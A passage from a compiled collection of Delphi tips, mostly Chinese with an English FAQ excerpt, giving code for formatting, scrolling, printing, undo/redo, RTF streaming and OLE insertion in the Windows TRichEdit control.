Fmt.cbSize := SizeOf(Fmt);//这里放传递的结构大小，系统通过这个知道传递的是CharFormat还是CharFormat2

Fmt.dwMask := CFM_COLOR or CFM_BACKCOLOR;//告诉系统只有字体颜色和背景颜色两个字段的值有效

Fmt.crTextColor := clRed;//设置字体颜色

Fmt.crBackColor := clYellow;//设置字体背景色

RichEdit1.Perform(EM_SETCHARFORMAT,SCF_SELECTION,integer(@Fmt));//发EM_SETCHARFORMAT消息给RichEdit

//其中SCF_SELECTION表示该设置只对选择的文字有效,具体用法参考win32 SDK HELP

RichEdit1.Lines.Add('我靠啊');// 插入一行新文字

end;

看看你的RichEdit里的字是不是有背景颜色了。(这里的代码只是为了简单，说明主要问题，要正确设置最好先选定要设置的文本）

如果要考虑的再全面一点，可以在程序启动时加上一些判断：

inst := LoadLibrary('riched20.dll');//riched20.dll是richedit2的动态联结库文件

if inst = nil then

出错处理.........

...........

以确保系统能找到相关的库文件

其实深入研究可以发现用CHARFORMAT2可以简单的实现很多TRichEdit无法直接实现的特殊功能，

完全不需要什么特殊控件。

上面的代码可以做到，不过有的时候不行？不稳定！

**********************************************

uses

RichEdit;

procedure RE_SetSelBgColor(RichEdit: TRichEdit; AColor: TColor);

var

Format: CHARFORMAT2;

begin

FillChar(Format, SizeOf(Format), 0);

with Format do

begin

cbSize := SizeOf(Format);

dwMask := CFM_BACKCOLOR;

crBackColor := AColor;

Richedit.Perform(EM_SETCHARFORMAT, SCF_SELECTION, Longint(@Format));

end;

end;

// Example: Set clYellow background color for the selected text.

procedure TForm1.Button1Click(Sender: TObject);

begin

RE_SetSelBgColor(RichEdit1, clYellow);

end;

需要Richedit2.0的支持


获取 TRichEdit的滚动条位置

试了一下，发现即使拉到最下面了，TScrollInfo里的nPos还是不会等于nMax的。

用Ctrl-End或是拖动滚动条到不能再拖的方法得到的nPos等于nMax-nPage；

再用点滚动条的向下滚动按钮直到不能再往下的时候nPos也只是增加了1。

如果这个现象是普遍的，那么可以这样判断--

procedure TForm1.Button1Click(Sender: TObject);

var

SI: TScrollInfo;

begin

SI.cbSize := SizeOf(TScrollInfo);

SI.fMask := SIF_ALL;

GetScrollInfo(RichEdit1.Handle, SB_VERT, SI);

if SI.nPos + SI.nPage >= SI.nMax then ShowMessage('已经到底了！');

end;


RichEdit的上标和下标

如何在RichEdit中实现上标或者下标？

// yOffset values

type

TCharacterFormat = (CFM_Superscript, CFM_Subscript, CFM_Normal);

procedure RE_SetCharFormat(RichEdit: TRichEdit; CharacterFormat: TCharacterFormat);

var

// The CHARFORMAT structure contains information about

// character formatting in a rich edit control.

Format: TCharFormat;

begin

FillChar(Format, SizeOf(Format), 0);

with Format do

begin

cbSize := SizeOf(Format);

dwMask := CFM_OFFSET;

// Character offset, in twips, from the baseline.

// If the value of this member is positive,

// the character is a superscript;

// if it is negative, the character is a subscript.

case CharacterFormat of

CFM_Superscript: yOffset := 60;

CFM_Subscript: yOffset := -60;

CFM_Normal: yOffset := 0;

end;

end;

// The EM_SETCHARFORMAT message sets character formatting in a rich edit control.

// SCF_SELECTION: Applies the formatting to the current selection

Richedit.Perform(EM_SETCHARFORMAT, SCF_SELECTION, Longint(@Format));

end;

// Examples:

// Beispiele:

// Apply Superscript to the current selection

// Markierte Zeichen hoch stellen

procedure TForm1.Button1Click(Sender: TObject);

begin

RE_SetCharFormat(RichEdit1, CFM_Superscript);

end;

// Apply Subscript to the current selection

// Markierte Zeichen tief stellen

procedure TForm1.Button2Click(Sender: TObject);

begin

RE_SetCharFormat(RichEdit1, CFM_Subscript);

end;


无限Undo&Redo功能

RichEdit控件怎样实现RxRichEdit的无限UnDo功能？

在RxRichEdit里的查找对话框如果遮住了选定的文字时，会自动移开，请问是怎样实现的？

请给出代码可以吗？！最好有说明，谢谢～

：Zephyr, 时间：2000-4-9 23:49:22, ID：216632

多重Undo和Redo要RichEdit v2.0才提供，要用到

EM_SETUNDOLIMIT

EM_GETUNDONAME

EM_GETREDONAME

EM_UNDO

EM_CANUNDO

EM_REDO

EM_CANREDO

：beta, 时间：2001-5-20 11:02:30, ID：536939

自己实现，不过很麻烦 :-p

每次改变都把改变的 开始位置、长度、字符串和类型 添加到一个 TList 里面

（用一个record）

Undo也就是提出某次操作的这些信息然后实现就可以了，你想，有了这些信息，

完全可以重现原来的操作了

不过好像Redo还要用一个 TList，和Undo的不是同一个。

我曾经想做过，不过无法截获文字拖拽的消息，于是放弃 :-(

mantousoft, 时间：2001-5-29 19:33:11, ID：546071

去下载MiniHex的源代码看看，下面是我从里面抄的：）

{**********************************************************}

{ }

{ 功能：管理 Undo 和 Redo. }

{ 说明：采用循环队列记录Undo动作和Redo动作， }

{ Undo和Redo是两个不同的队列。 }

{ }

{**********************************************************}

unit ActsMgr;

interface

uses

Windows, Messages, SysUtils, Classes,

Controls, Forms, Dialogs;

type

TActType = ( //动作类型

atNone,

atModify,

atInsert,

atDelete

);

PAct = ^TAct;

TAct = record //动作记录

Enabled: Boolean; //该动作是否能用

ActType: TActType; //动作类型

Buf: string; //缓冲区

Offset: Integer; //偏移

Count: Integer; //字节数

CurPos: Integer; //光标位置

Prev: PAct; //Prev指针

Next: PAct; //Next指针

end;

TActs = array of TAct;

TActsMgr = class

private

FUndoActs: TActs; //Undo队列

FUndoHead: PAct; //队列头指针

FUndoTail: PAct; //队列尾指针

FRedoActs: TActs; //Redo队列

FRedoHead: PAct; //队列头指针

FRedoTail: PAct; //队列尾指针

FMaxUndo: Integer; //最大Undo次数

procedure SetMaxUndo(Value: Integer);

procedure InitAct(var Act: TAct);

public

constructor Create(AMaxUndo: Integer);

destructor Destroy; override;

property MaxUndo: Integer read FMaxUndo write SetMaxUndo;

function AddUndoItem: PAct;

function AddRedoItem: PAct;

function Undo: PAct;

function Redo: PAct;

function CanUndo: Boolean;

function CanRedo: Boolean;

end;

implementation

constructor TActsMgr.Create(AMaxUndo: Integer);

begin

SetMaxUndo(AMaxUndo);

end;

destructor TActsMgr.Destroy;

begin

SetLength(FUndoActs, 0);

SetLength(FRedoActs, 0);

end;

procedure TActsMgr.SetMaxUndo(Value: Integer);

var

i: Integer;

begin

FMaxUndo := Value;

SetLength(FUndoActs, FMaxUndo + 1);

for i := 0 to FMaxUndo do

begin

if i = FMaxUndo then

FUndoActs[i].Next := @FUndoActs[0]

else

FUndoActs[i].Next := @FUndoActs[i+1];

if i = 0 then

FUndoActs[i].Prev := @FUndoActs[FMaxUndo]

else

FUndoActs[i].Prev := @FUndoActs[i-1];

FUndoActs[i].Enabled := False;

end;

FUndoHead := @FUndoActs[0];

FUndoTail := @FUndoActs[0];

SetLength(FRedoActs, FMaxUndo + 1);

for i := 0 to FMaxUndo do

begin

if i = FMaxUndo then

FRedoActs[i].Next := @FRedoActs[0]

else

FRedoActs[i].Next := @FRedoActs[i+1];

if i = 0 then

FRedoActs[i].Prev := @FRedoActs[FMaxUndo]

else

FRedoActs[i].Prev := @FRedoActs[i-1];

FRedoActs[i].Enabled := False;

end;

FRedoHead := @FRedoActs[0];

FRedoTail := @FRedoActs[0];

end;

procedure TActsMgr.InitAct(var Act: TAct);

begin

with Act do

begin

Enabled := True;

Buf := '';

Offset := 0;

Count := 0;

CurPos := 0;

end;

end;

function TActsMgr.AddUndoItem: PAct;

begin

InitAct(FUndoHead^);

Result := FUndoHead;

if FUndoHead^.Next = FUndoTail then

FUndoTail := FUndoTail^.Next;

FUndoHead := FUndoHead^.Next;

FUndoHead^.Enabled := False;

end;

function TActsMgr.AddRedoItem: PAct;

begin

InitAct(FRedoHead^);

Result := FRedoHead;

if FRedoHead^.Next = FRedoTail then

FRedoTail := FRedoTail^.Next;

FRedoHead := FRedoHead^.Next;

FRedoHead^.Enabled := False;

end;

function TActsMgr.Undo: PAct;

begin

if not CanUndo then

begin

Result := nil;

Exit;

end;

FUndoHead := FUndoHead^.Prev;

FRedoHead := FRedoHead^.Prev;

Result := FUndoHead;

end;

function TActsMgr.Redo: PAct;

begin

if not CanRedo then

begin

Result := nil;

Exit;

end;

Result := FRedoHead;

FRedoHead := FRedoHead^.Next;

FUndoHead := FUndoHead^.Next;

end;

function TActsMgr.CanUndo: Boolean;

begin

Result := (FUndoHead <> FUndoTail);

end;

function TActsMgr.CanRedo: Boolean;

begin

Result := FRedoHead^.Enabled;

end;

end.


Richedit里面的内容保存为图形

得到Richedit里面的内容保存为图形！

uses richedit;

procedure TForm1.Button1Click(Sender: TObject);

var

Range : TFormatRange;

LastChar, MaxLen, LogX, LogY: Integer;

begin

FillChar(Range, SizeOf(TFormatRange), 0);

with Image1, Range do

begin

LogX := GetDeviceCaps(Canvas.Handle, LOGPIXELSX);

LogY := GetDeviceCaps(Canvas.Handle, LOGPIXELSY);

hdc := Canvas.Handle;

hdcTarget := hdc;

rc.right := Image1.ClientWidth * 1440 div LogX;

rc.bottom := Image1.ClientHeight * 1440 div LogY;

rcPage := rc;

LastChar := 0;

MaxLen := GetTextLen;

chrg.cpMax := -1;

repeat

chrg.cpMin := LastChar;

LastChar := SendMessage(RichEdit1.Handle, EM_FORMATRANGE, 1,

Longint(@Range));

until (LastChar >= MaxLen) or (LastChar = -1);

end;

SendMessage(RichEdit1.Handle, EM_FORMATRANGE, 0, 0);

Image1.Refresh;

end;


在 RichEdit 中实现代码着色

在 RichEdit 中实现代码着色

下面的代码将以指定颜色对一些指定单词着色，就象delphi中的代码编辑器那样。

procedure CodeColors(Form : TForm;Style : String; RichE : TRichedit;

InVisible : Boolean);

const

// 符号...

CodeC1: array[0..20] of String = ('#','$','(',')','*',',',

'.','/',':',';','[',']','{','}','<','>',

'-','=','+','''','@');

// 保留字...

CodeC2: array[0..44] of String = ('and','as','begin',

'case','char','class','const','downto',

'else','end','except','finally','for',

'forward','function','if','implementation','interface',

'is','nil','or','private','procedure','public','raise',

'repeat','string','to','try','type','unit','uses','var',

'while','external','stdcall','do','until','array','of',

'in','shr','shl','cos','div');

var

FoundAt : LongInt;

StartPos, ToEnd, i : integer;

OldCap,T : String;

FontC, BackC, C1, C2 ,C3 ,strC, strC1 : TColor;

begin

OldCap := Form.Caption;

with RichE do

begin

Font.Name := 'Courier New';

Font.Size := 10;

if WordWrap then WordWrap := false;

SelectAll;

SelAttributes.color := clBlack;

SelAttributes.Style := [];

SelStart := 0;

if InVisible then

begin

Visible := False;

Form.Caption := 'Executing Code Coloring...';

end;

end;

BackC := clWhite; FontC := clBlack;

C1 := clBlack; C2 := clBlack; C3 := clBlack;

strC := clBlue; strC1 := clSilver;

if Style = 'Twilight' then

begin

BackC := clBlack; FontC := clWhite;

C1 := clLime; C2 := clSilver; C3 := clAqua;

strC := clYellow; strC1 := clRed;

end

else

if Style = 'Default' then

begin

BackC := clWhite; FontC := clBlack;

C1 := clTeal; C2 := clMaroon; C3 := clBlue;

strC := clMaroon; strC1 := clSilver;

end

else

if Style = 'Ocean' then

begin

BackC := $00FFFF80; FontC := clBlack;

C1 := clMaroon; C2 := clBlack; C3 := clBlue;

strC := clTeal; strC1 := clBlack;

end

else

if Style = 'Classic' then

begin

BackC := clNavy; FontC := clYellow;

C1 := clLime; C2 := clSilver; C3 := clWhite;

strC := clAqua; strC1 := clSilver;

end

else

begin

with RichE do

begin

T := '{'+Style+' = Invalid Style [Default,Classic,Twilight,Ocean] ONLY! }';

Lines.Insert(0,T);

StartPos := 0;

ToEnd := Length(Text) - StartPos;

FoundAt := FindText(T, StartPos, ToEnd, [stWholeWord]);

SelStart := FoundAt;

SelLength := Length(T);

SelAttributes.Color := clRed;

SelAttributes.Style := [fsBold];

StartPos := 0;

ToEnd := Length(Text) - StartPos;

FoundAt := FindText('ONLY!', StartPos, ToEnd, [stWholeWord]);

SelStart := FoundAt;

SelLength := 4;

SelAttributes.Color := clRed;

SelAttributes.Style := [fsBold,fsUnderLine];

end;

end;

RichE.SelectAll;

RichE.color := BackC;

RichE.SelAttributes.color := FontC;

for i := 0 to 100 do

begin

with RichE do

begin

StartPos := 0;

ToEnd := Length(Text) - StartPos;

FoundAt := FindText(IntToStr(i), StartPos, ToEnd, [stWholeWord]);

while (FoundAt <> -1) do

begin

SelStart := FoundAt;

SelLength := Length(IntToStr(i));

SelAttributes.Color := C1;

SelAttributes.Style := [];

StartPos := FoundAt + Length(IntToStr(i));

FoundAt := FindText(IntToStr(i), StartPos, ToEnd, [stWholeWord]);

end;

end;

end;

for i := 0 to 20 do

begin

with RichE do

begin

StartPos := 0;

ToEnd := Length(Text) - StartPos;

FoundAt := FindText(CodeC1[i], StartPos, ToEnd, []);

while (FoundAt <> -1) do

begin

SelStart := FoundAt;

SelLength := Length(CodeC1[i]);

SelAttributes.Color := C2;

StartPos := FoundAt + Length(CodeC1[i]);

FoundAt := FindText(CodeC1[i], StartPos, ToEnd, []);

end;

end;

end;

for i := 0 to 44 do

begin

with RichE do

begin

StartPos := 0;

ToEnd := Length(Text) - StartPos;

FoundAt := FindText(CodeC2[i], StartPos, ToEnd, [stWholeWord]);

while (FoundAt <> -1) do

begin

SelStart := FoundAt;

SelLength := Length(CodeC2[i]);

SelAttributes.Color := C3;

SelAttributes.Style := [fsBold];

StartPos := FoundAt + Length(CodeC2[i]);

FoundAt := FindText(CodeC2[i], StartPos, ToEnd, [stWholeWord]);

end;

end;

end;

Startpos := 0;

with RichE do

begin

FoundAt := FindText('''', StartPos, Length(Text), []);

while FoundAt <> -1 do

begin

SelStart := FoundAt;

Startpos := FoundAt+1;

FoundAt := FindText('''', StartPos, Length(Text), []);

if FoundAt <> -1 then

begin

SelLength := (FoundAt - selstart)+1;

SelAttributes.Style := [];

SelAttributes.Color := strC;

StartPos := FoundAt+1;

FoundAt := FindText('''', StartPos, Length(Text), []);

end;

end;

end;

Startpos := 0;

with RichE do

begin

FoundAt := FindText('{', StartPos, Length(Text), []);

while FoundAt <> -1 do

begin

SelStart := FoundAt;

Startpos := FoundAt+1;

FoundAt := FindText('}', StartPos, Length(Text), []);

if FoundAt <> -1 then

begin

SelLength := (FoundAt - selstart)+1;

SelAttributes.Style := [];

SelAttributes.Color := strC1;

StartPos := FoundAt+1;

FoundAt := FindText('{', StartPos, Length(Text), []);

end;

end;

end;

if InVisible then

begin

RichE.Visible := True;

Form.Caption := OldCap;

end;

RichE.SelStart := 0;

end;


只打印选定的文本

...print only the selected Text of TRichedit?

uses

Richedit;

procedure TForm1.Button1Click(Sender: TObject);

var

printarea: TRect;

richedit_outputarea: TRect;

printresX, printresY: Integer;

fmtRange: TFormatRange;

nextChar: Integer;

S: string;

begin

Printer.BeginDoc;

try

with Printer.Canvas do

begin

printresX := GetDeviceCaps(Handle, LOGPIXELSX);

printresY := GetDeviceCaps(Handle, LOGPIXELSY);

printarea :=

Rect(printresX, // 1 inch left margin

printresY * 3 div 2, // 1.5 inch top margin

Printer.PageWidth - printresX, // 1 inch right margin

Printer.PageHeight - printresY * 3 div 2 // 1.5 inch

Bottom Margin);

// Define a rectangle for the rich edit text. The height is set

to the

// maximum. But we need to convert from device units to twips,

// 1 twip = 1/1440 inch or 1/20 point.

richedit_outputarea :=

Rect(printarea.Left * 1440 div printresX,

printarea.Top * 1440 div printresY,

printarea.Right * 1440 div printresX,

printarea.Bottom * 1440 div printresY);

// Tell rich edit to format its text to the printer. First set

// up data record for message:

fmtRange.hDC := Handle; // printer handle

fmtRange.hdcTarget := Handle; // ditto

fmtRange.rc := richedit_outputarea;

fmtRange.rcPage := Rect(0, 0,

Printer.PageWidth * 1440 div printresX,

Printer.PageHeight * 1440 div printresY);

// set range of characters to print to selection

fmtRange.chrg.cpMin := richedit1.selstart;

fmtRange.chrg.cpMax := richedit1.selStart + richedit1.sellength - 1;

// remove characters that need not be printed from end of

selection.

// failing to do so screws up the repeat loop below.

S := Richedit1.SelText;

while (fmtRange.chrg.cpMax > 0) and

(S[fmtRange.chrg.cpMax] <= ' ') do Dec(fmtRange.chrg.cpMax);

repeat

// Render the text

nextChar := richedit1.Perform(EM_FORMATRANGE, 1, Longint(@fmtRange));

if nextchar < fmtRange.chrg.cpMax then

begin

// more text to print

printer.newPage;

fmtRange.chrg.cpMin := nextChar;

end; { If }

until nextchar >= fmtRange.chrg.cpMax;

// Free cached information

Richedit1.Perform(EM_FORMATRANGE, 0, 0);

end;

finally

Printer.EndDoc;

end;

end;

{

The richedit1.perform( EM_FORMATRANGE call returns the index of the

last character that could be fitted into the passed fmtrange.rc, + 1.

So if multiple pages are required one repeats with fmtrange.chrg.cpMin

set to this value, until all characters have been printed.

}


获取Richedit控件里面文字的RTF代码？

get the Rtf formating from a RichEdit?

function GetRTFText(ARichEdit: TRichedit): string;

var

ss: TStringStream;

emptystr: string;

begin

emptystr := '';

ss := TStringStream.Create(emptystr);

try

ARichEdit.PlainText := False;

ARichEdit.Lines.SaveToStream(ss);

Result := ss.DataString;

finally

ss.Free

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

Memo1.Text := GetRTFText(RichEdit1);

end;

*********************************************************************

RTF控件为我们开发提供了很大的方便并减轻了我们开发的工作量，但是它并没有提供一种类似于SetWindowText的简便方法让我们存取内容。一般的方法可以是插入文本再进行格式化，或是利用回调函数进行设置，针对这一原因本文讲述一种利用CString变量存取RTF Contrl中的文本内容的方法，虽然这也是建立在回调函数之上的却可以使其具有重用性。

1、定义回调函数

static DWORD CALLBACK EditStreamCallBack(DWORD dwCookie, LPBYTE pbBuff, LONG cb,

LONG *pcb)

{

CString *pstr = (CString *)dwCookie;

if( pstr->GetLength() < cb )

{

*pcb = pstr->GetLength();

memcpy(pbBuff, (LPCSTR)*pstr, *pcb );

pstr->Empty();

}

else

{

*pcb = cb;

memcpy(pbBuff, (LPCSTR)*pstr, *pcb );

*pstr = pstr->Right( pstr->GetLength() - cb );

}

return 0;

}

参数dwCokkie为用户定义数据，我们利用他传入一个CString的指针，pbBuff为RTF用于保存数据的缓冲，cb为RTF要求的数据量，pcb为用户提供的数据量（返回值），如果该数值如果小于cb表示写数据结束，RTF将停止调用回调函数。请注意该函数将被RTF调用一次或多次。函数说明中的CALLBACK一定要加上。

2、定义新类

CNewRTF::SetRTFText(....)

{

CString rtfPrefix, rtfPostfix;

rtfPrefix = "{\rtf1\ansi\deff0\deftab720{\fonttbl{\f0\froman "

"Times New Roman;}}{\colortbl\red0\green0\blue0;}"

"\deflang1033\pard\tx360\tx720\tx1080\tx1440\tx1800"

"\tx2160\tx2520\tx2880\tx3240\tx3600\tx3960\tx4320"

"\tx4680\tx5040\tx5400\tx5760\tx6120"

"\tx6480\plain\f3\fs20 ";

rtfPostfix = "\par }";

//DEMO String 你可用自己的参数替代

CString rtfString = rtfPrefix + "\b Bold\b0" + rtfPostfix;

EDITSTREAM es = {(DWORD)&rtfString, 0, EditStreamCallBack};

StreamIn(SF_RTF | SFF_SELECTION, es);

}

关于读RTF的方法也可类似实现。


获取Richedit当前光标处的词

获取Richedit当前光标处的词

uses

RichEdit;

procedure TForm1.RichEdit1MouseMove(Sender: TObject; Shift: TShiftState;

X, Y: Integer);

var

iCharIndex, iLineIndex, iCharOffset, i, j: Integer;

Pt: TPoint;

s: string;

begin

with TRichEdit(Sender) do

begin

Pt := Point(X, Y);

// Get Character Index from word under the cursor

iCharIndex := Perform(Messages.EM_CHARFROMPOS, 0, Integer(@Pt));

if iCharIndex < 0 then Exit;

// Get line Index

iLineIndex := Perform(EM_EXLINEFROMCHAR, 0, iCharIndex);

iCharOffset := iCharIndex - Perform(EM_LINEINDEX, iLineIndex, 0);

if Lines.Count - 1 < iLineIndex then Exit;

// store the current line in a variable

s := Lines[iLineIndex];

// Search the beginning of the word

i := iCharOffset + 1;

while (i > 0) and (s[i] <> ' ') do Dec(i);

// Search the end of the word

j := iCharOffset + 1;

while (j <= Length(s)) and (s[j] <> ' ') do Inc(j);

// Display Text under Cursor

Caption := Copy(s, i, j - i);

end;

end;


不调用InsertObjectDialog而插入一个对象

附件中是修改过的RxRichEdit控件，这个可以随意使用。

特别鸣谢：杨进宝

/////////////////////////////////

{/*********************************************************************

// 单元名称：RxRichEd

// 单元描述：

// 编码人： xjx Email:x7x@263.net

// 交付时间：2002-7-23 12:32:04

// 版本号： 0.01 ( 每修改一次加1)

// 修正记录：

//*********************************************************************

// 时间 修正人 备注

//----------------------------------------------------------------------

20020723 xjx 添加了InsertObject过程实现在RxRichEdit

中插入Ole对象功能

例子：reole.InsertObject('PBrush');

reOle 为TRxRichEdit 类的实例

//***********************************************************************}

{*******************************************************}

{ }

{ Delphi VCL Extensions (RX) }

{ }

{ Copyright (c) 1998 Master-Bank }

{ }

{*******************************************************}

procedure TRxCustomRichEdit.InsertObject(const AOleClassName: string);

var

//Data: TOleUIInsertObject;

NameBuffer: array[0..255] of Char;

OleClientSite: IOleClientSite;

Storage: IStorage;

OleObject: IOleObject;

ReObject: TReObject;

IsNewObject: Boolean;

Selection: TCharRange;

begin

{TODO -c扩展-oxjx:加入InsertObject过程的实现}

//FillChar(Data, SizeOf(Data), 0);

FillChar(NameBuffer, SizeOf(NameBuffer), 0);

FillChar(ReObject, SizeOf(TReObject), 0);

if Assigned(FRichEditOle) then begin

IRichEditOle(FRichEditOle).GetClientSite(OleClientSite);

Storage := nil;

try //try1

CreateStorage(Storage);

try //try2 Data.dwFlags and

IsNewObject := IOF_SELECTCREATENEW = IOF_SELECTCREATENEW;

OleCheck(OleCreate(ProgIDToClassID(AOleClassName), IOleObject, OLERENDER_DRAW, nil, // ClassID

OleClientSite, Storage, OleObject));

with ReObject do begin

cbStruct := SizeOf(TReObject);

cp := REO_CP_SELECTION;

clsid := ProgIDToClassID(AOleClassName);

poleobj := OleObject;

pstg := Storage;

polesite := OleClientSite;

dvAspect := DVASPECT_CONTENT;

dwFlags := REO_RESIZABLE;

if IsNewObject then dwFlags := dwFlags or REO_BLANK;

OleCheck(OleSetDrawAspect(OleObject,

IOF_SELECTCREATENEW {Data.dwFlags} and IOF_CHECKDISPLAYASICON <> 0,

0 {Data.hMetaPict}, dvAspect));

end;

SendMessage(Handle, EM_EXGETSEL, 0, Longint(@Selection));

Selection.cpMax := Selection.cpMin + 1;

OleCheck(IRichEditOle(FRichEditOle).InsertObject(ReObject));

SendMessage(Handle, EM_EXSETSEL, 0, Longint(@Selection));

SendMessage(Handle, EM_SCROLLCARET, 0, 0);

IRichEditOle(FRichEditOle).SetDvaspect(

Longint(REO_IOB_SELECTION), ReObject.dvAspect);

if IsNewObject then OleObject.DoVerb(OLEIVERB_SHOW, nil,

OleClientSite, 0, Handle, ClientRect);

finally

ReleaseObject(OleObject);

end; //try2

finally

ReleaseObject(OleClientSite);

ReleaseObject(Storage);

end; //try1

end;

end;

附件>>> RxRichEd.rar


把一个Bitmap的数据转换成RTF格式的数据

function BitmapToRTF(pict: TBitmap): string;

var

bi, bb, rtf: string;

bis, bbs: Cardinal;

achar: ShortString;

hexpict: string;

I: Integer;

begin

GetDIBSizes(pict.Handle, bis, bbs);

SetLength(bi, bis);

SetLength(bb, bbs);

GetDIB(pict.Handle, pict.Palette, PChar(bi)^, PChar(bb)^);

rtf := '{\rtf1 {\pict\dibitmap0 ';

SetLength(hexpict, (Length(bb) + Length(bi)) * 2);

I := 2;

for bis := 1 to Length(bi) do

begin

achar := IntToHex(Integer(bi[bis]), 2);

hexpict[I - 1] := achar[1];

hexpict[I] := achar[2];

Inc(I, 2);

end;

for bbs := 1 to Length(bb) do

begin

achar := IntToHex(Integer(bb[bbs]), 2);

hexpict[I - 1] := achar[1];

hexpict[I] := achar[2];

Inc(I, 2);

end;

rtf := rtf + hexpict + ' }}';

Result := rtf;

end;


段间距离

set the paragraph line spacing in a TRichedit?

uses

RichEdit;

procedure RE_SetLineSpacing(ARichEdit: TRichEdit; lineSpacing: Byte);

var

pf2: ParaFormat2;

begin

FillChar(pf2, SizeOf(pf2), 0);

pf2.cbSize := SizeOf(PARAFORMAT2);

pf2.dwMask := PFM_LINESPACING;

pf2.bLineSpacingRule := lineSpacing;

SendMessage(ARichEdit.Handle, EM_SETPARAFORMAT, 0, Longint(@pf2));

end;

//Example: Setlinespacing to 1:

procedure TForm1.Button1Click(Sender:TObject);

begin

RE_SetLineSpacing(RichEdit1, 1);

end;


不同的下划线风格

use different underline styles for Text in TRichEdit?

uses

RichEdit;

// Underline styles

const

CFU_UNDERLINETHICK = 9;

CFU_UNDERLINEWAVE = 8;

CFU_UNDERLINEDASHDOTDOT = 7;

CFU_UNDERLINEDASHDOT = 6;

CFU_UNDERLINEDASH = 5;

CFU_UNDERLINEDOTTED = 4;

CFU_UNDERLINE = 1;

CFU_UNDERLINENONE = 0;

procedure RE_SetCharFormat(ARichEdit: TRichEdit; AUnderlineType: Byte; AColor: Word);

var

// The CHARFORMAT2 structure contains information about

// character formatting in a rich edit control.

Format: CHARFORMAT2;

begin

FillChar(Format, SizeOf(Format), 0);

with Format do

begin

cbSize := SizeOf(Format);

dwMask := CFM_UNDERLINETYPE;

bUnderlineType := AUnderlineType or AColor;

ARichEdit.Perform(EM_SETCHARFORMAT, SCF_SELECTION, Longint(@Format));

end;

end;

// Underline the current selection with a CFU_UNDERLINEWAVE line style (color red);

procedure TForm1.Button1Click(Sender: TObject);

begin

RE_SetCharFormat(RichEdit1, CFU_UNDERLINEWAVE, $50);

end;


RichEdit 3.0控件

下载>>> RichEdit3.0


RichEdit经典问答FAQ

Tips about Delphi's TRichEdit

This is a list of tips and hints on Delphi database issues.

Most are in the Q&A format. Some are just e-mail messages.

This is a ragtag comglomeration of info from many sources.

Most of the info came from Compuserve, Delphi Talk, and various

newsgroups.

I can't vouch for the accuracy of every item - but I do make

corrections to this document as I learn of problems.

Please send me corrections so I can share them with others.

I also like to get additional examples to include here.

Eric Engler, October 21, 1998

englere@swcp.com

http://www.geocities.com/SiliconValley/Network/2114/

---------------------------------------------------------------------

Delphi 4 Note: I do not have Delphi 4 yet, but most of the information

here should work fine with Delphi 4.

---------------------------------------------------------------------

The original release of Delphi 2 had a bug in RichEdit that prevented

it from printing under NT 4. It was fixed in one of the minor updates.

Delphi 3 never had that bug.

-----------------------------

Delphi 1 had no RTF control.

Delphi 2 introduced TRichEdit.

Delphi 3 added TDBRichEdit.

Delphi 3's TDBRichEdit doesn't give you any way to access the raw

RTF codes, so I normally use TRichEdit with Delphi 3, and I do my own

loads/save to tables. Code for this is provided here.

---------------------------------------------------------------------

General Note: The RichEdit control sometimes needs to have the focus

before some options will work. So, if any option in this document is

not working for you, try to do this first: RichEdit1.SetFocus;

=====================================================================

Q: Which Microsoft DLL must be present on the user's hard drive to

support TRichEdit?

A: The RTF DLL needed by deployed Delphi 2 and 3 programs that use

TRichEdit is: RICHED32.DLL. Mine is still from the original

release of Win95. Most Win32 users have this already.

Some RTF enhanced controls (add-ons) for Delphi 3 require RICHED20.DLL.

This is an updated RTF control. It comes with NT 4, and it came with

IE 3 and IE 4 for Win95. It also comes with MS Office 97 and probably

comes with lots of other software. It has lots of enhancements over the

older RICHED32.DLL, but you need an enhanced Delphi VCL in order to make

use of the new features.

The best freeware enhanced richedit control that I know of is called

TRichEdit98/TDBRichEdit98, which I found in file RICHED98.ZIP on

the Delphi Super Page. The new features include support for embedding

OLE objects (used to embed pictures), and automatic recognition of

Internet URLs. There are also handy properties to tell you the current

row and column. It also supports multiple languages and Unicode. It

supports multiple levels of UNDO/REDO. It has many enhanced formatting

options such as: kerning, animation, shadow, emboss. It is by Alexander

Obukhov, E-mail alex@niiomr.belpak.minsk.by

This document will only discuss features available with the Delphi

native VCL, which uses the older RICHED32.DLL.

==============

Q: How do I set the background color?

A: SendMessage(RichEdit1.Handle, EM_SETBKGNDCOLOR, 0, clYellow);

or:

RichEdit1.Color:=clYellow;

============

Q: Many times I see programmers use "SendMessage" to send messages that

control a RichEdit, but other times I see them use "RichEdit1.Perform".

Why are there 2 ways of doing the same thing?

A: The generic Windows solution is to use "SendMessage", with the

control's handle as the first argument. This is what you normally see in

the Microsoft RichEdit documentation.

Delphi has a special "shortcut" method of sending a message to

a VCL, by using the VCL's own "Perform" method.

Both of these work fine, but the "Perform" is more efficient. I use

them both in my code.

SendMessage(RichEdit1.Handle, EM_SETBKGNDCOLOR, 0, clYellow);

is the same as:

RichEdit1.Perform(EM_SETBKGNDCOLOR, 0, clYellow);

============

Q: I want to find a specific word and color it blue.

A: This is a good and simple demo for you:

with RichEdit1 do

begin

SelStart :=FindText('word',0,GetTextLen,[stWholeWord]);

SelLength := 4; // select the word

SelAttributes.color:=clBlue;

SelLength:=0; // de-select the word

end;

==================

Q: I can't seem to figure out how to make a certain word in a

specific line of a TRichEdit component become BOLD or ITALIC?

A: Try something like the following:

procedure TForm1.Button1Click(Sender: TObject);

var

start: integer;

begin

start := RichEdit1.FindText(Edit1.Text, 0, -1, [stMatchCase]);

if start > -1 then

with RichEdit1 do begin

SelStart := start;

SelLength := Length(Edit1.Text);

SelAttributes.Style := [fsItalic];

SelLength := 0;

end;

RichEdit1.SetFocus;

end;

============

Q: How do I position the cursor at the beginning of the text?

A: RichEdit1.SelLength := 0;

RichEdit1.SelStart := 0; // here we go

RichEdit1.Perform( EM_SCROLLCARET, 0, 0 ); // ensure viewport is right

============

Q: How do I position the cursor at the end of the text?

A: RichEdit1.SelLength := 0;

RichEdit1.SelStart:=RichEdit1.GetTextLen; // position caret at end

RichEdit1.Perform( EM_SCROLLCARET, 0, 0 ); // ensure viewport is right

============

Q: How do I find out where the last character is?

A: Length(RichEdit1.Text)

or

RichEdit1.GetTextLen

or

(I think this last one works?)

LastChar := SendMessage(self.handle, EM_FORMATRANGE, 1, Longint(@Range));

=================

Q: I want to programatically insert text into a RichEdit box.

A:

procedure TForm1.Button1Click(Sender: TObject);

begin

with RichEdit1 do

begin

Lines.Clear;

SelStart := 0; // position to top of box

SelLength := 0; // nothing is selected

// Set the desired style for the first text

